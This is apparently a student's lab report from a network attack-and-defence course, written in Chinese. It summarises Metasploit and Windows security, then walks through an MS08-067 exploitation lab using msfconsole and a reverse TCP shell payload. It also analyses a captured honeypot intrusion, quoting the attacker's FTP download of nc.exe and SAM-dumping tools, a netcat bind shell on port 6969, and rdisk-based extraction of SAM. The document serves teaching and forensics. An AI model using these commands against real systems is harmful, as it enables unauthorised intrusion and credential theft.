20211920 2021-2022-2 《网络攻防实践》实践六报告

1.实践内容

MSF简介

The Metasploit Framework的简称。MSF高度模块化,即框架由多个module组成,是全球最受欢迎的工具。是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新并且metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。

MSF的目录结构

data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
documentation:包含框架的可用文档。
lib:metasploit的库文件夹。
plugins:用来存放metasploit的插件。
scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
tools:存放多种的命令行实用程序。
modules:存储metasploit的模块文件

  • modules模块
    auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
    exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类
    payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
    post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
    encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统(防火墙)
    evasion:躲避模块,用来生成免杀payload
    nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPSx90x90…)则会因为被拦截而导致攻击失效。

MSF的体系结构

windows操作系统的安全体系结构和机制

Windows安全体系结构:

Windows操作系统基千引用监控器模型(Reference Monitor)来实现基本的对象安全模型,最关键的是位于内核的SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,他们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制;

Windows身份认证机制:

Windows以安全主体的概念来包含所有进行资源访问请求的实体对象,包括用户、用户组和计算机三大类。对每个主体,有唯一SID来标识。Windows为每个用户和计算机设置账户进行管理,账户的根本作用是限制账户内运行的程序对系统资源的访问。用户组是为了简化管理引入的用户账户容器,通过将用户加入用户组,可以使用户拥有用户组的全部权限。Windows账户的口令经过hash后保存在SAM(Security Accounts Manager)文件或活动目录AD中。Winlogon进程、GINA图形化登录窗口与LSASS(Local Security Authority Service)服务协作完成本地身份认证过程。

Windows授权与访问控制机制:

在安全主体通过认证之后,Windows会给用户一个包含了安全主体SID的访问令牌。
用户在启动进程的时候,进程在他的控制块中也会有一个集成账户安全令牌的所有访问权限的安全令牌。
对于需要保护的资源,windows会将其抽象成对象,每个对象都会关联一个SD安全描述符。
一个安全描述符包括:对象所有者的SID标识符、对象所在的用户组的SID标识符、自主访问控制列表、系统审计访问控制列表。

Windows安全审计机制:

统审计策略在本地安全策略中由系 统管理员定义,来确定系统对哪些事件进行记录

windows远程安全攻防技术

windows的远程攻击可以大致分为:

远程口令猜测和破解攻击攻击windows网络服务:关闭易受攻击的网络服务、配置防火墙、使用更安全的协议、使用强口令
网络服务远程渗透攻击:打补丁、实施攻击缓解配置、利用安全核对清单对服务进行配置、安全增强插件、及时修复漏洞

攻击windows客户端和用户:使用安全的软件、及时更新软件

Windows本地安全攻防技术

windows本地提权:在攻击者获得了widows的一定的权限之后,他们会尝试获得最高的权限。本地提权攻击都是利用系统的各种漏洞,所以针对本地提权攻击,最好的办法就是即使打好各种补丁。

Windows敏感信息窃取:

  • Windows系统口令字密文提取:在攻入windows之后,攻击者就有可能获得关键信息的密文文件

  • windows系统口令字破解:在获得密文文件之后,自然就是要对密文进行解密。

  • 防范措施:使用安全度高、能抵挡破解的口令

windows消灭踪迹

主要手段包括:关闭审计功能、清理事件日志。

防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

远程控制与后门

主要手段包括:向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

2.实践过程

机器 IP地址
kali 192.168.200.6
win2kServer 192.168.200.27

(1)动手实践Metasploit windows attacker

任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
在kali打开metasploit,输入msfconsole,回车后就会进入到他的控制台界面,然后先搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。

use exploit/windows/smb/ms08_067_netapi看路径可以知道这是一个可用于渗透攻击的,攻击Windows SMB协议的,针对漏洞ms08-067 然后用show payloads显示可用payload

输入set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接;输入show options展示渗透攻击需要设置的参数;

输入show targets展示可渗透攻击的靶机的操作系统及版本;

输入set LHOST 192.168.200.6设置渗透攻击的主机是kali;输入set RHOST 192.168.200.27设置渗透攻击的靶机IP;

输入exploit开始渗透攻击;

在kali上执行ipconfig/all得到如下图所示,查询到了靶机的IP

(2)取证分析实践:解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。

  • 攻击者使用了什么破解工具进行攻击?
  • 攻击者如何使用这个破解工具进入并控制了系统?
  • 攻击者获得系统访问权限后做了什么?
  • 我们如何防止这样的攻击?
  • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
    ![]
    用Wireshark打开日志文件发现日志文件由以下内容组成:
    可识别的HTTP协议内容
    可识别的SQL语言代码内容
    可识别的系统操作代码内容
    不可识别的数据(二进制数据)
    wireshark打开.log文件,统计>HTTP->请求
    (https://img2022.cnblogs.com/blog/2773166/202204/2773166-20220418192418533-2015940715.png)
    按条件筛选ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,找到No.117数据包,发现boot.ini启动,以及Unicode编码%C0%AF

    再往下,可以看到攻击者试图向服务器获取一个msadcs.dll文件

    对No.149追踪tcp流,可以看到字符串"ADM!ROX!YOUR!WORLD"和查询语句中的dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,经查询得知,这次攻击是由rain forest puppy编写的msadc(2).pl渗透代码发起的

在HTTP流中还发现了一组shell脚本代码,通过图可以看到字符串ADM!ROX!YOUR!WORLD出现的频率很高,通过查询发现这是一个名为msadc2.pl工具发起的攻击:

筛选ftp连接,发现直到编号1106连接成功的:追踪TCP流,可以看出:攻击者通过创建了ftpcom脚本,使用ftp连接www.nether.net,并以johna2k为用户haxedj00为密码下载 nc.exe、pdump.exe和samdump.dll。

在下载完文件之后,查看到 1224 号数据包,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限

用tcp.port == 6969筛选一下,然后追踪一下TCP流来发现攻击者的行为

攻击者首先尝试列出会话,但因为权限问题被拒绝:

列出用户:

发了一个 echo 消息到 C 盘根目录文件 README.NOW.Hax0r:

删除了若干文件:

使用 rdisk 尝试获得 SAM 口令文件(安全账号管理器),rdisk 是磁盘修复程序,执行 rdisk /s- 备份关键系统信息,在 /repair 目录中就会创建一个名为 sam._ 的 SAM 压缩拷贝,并且攻击者把这个文件拷贝到 har.txt 并打印:


从上图的tcp流可以看到攻击者的行为:例如:dir;type readme.e;et group;等等

(3)团队对抗实践:windows系统远程渗透攻击和分析。

首先用kali ping防守方,可以ping通

攻方使用metasploit选择漏洞进行攻击,获得控制权。

防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
我使用的是kali的wireshark,在同一网段下,kali的wireshark可以对攻击进行监听


3.学习中遇到的问题及解决

作为防守方监听时刚一开始想的是在win里下载wireshark,发现下载的版本过高不能监听,后来和同学讨论,使用kali进行监听

4.学习感想和体会

更加深入的了解了metasploit软件,以及攻击问题

5.参考文献

https://blog.csdn.net/weixin_47731659/article/details/112723520
https://www.csdn.net/tags/NtjacgzsNjEzNDItYmxvZwO0O0OO0O0O.html

posted @ 2022-04-24 20:23  张婷20211920  阅读(296)  评论(0编辑  收藏  举报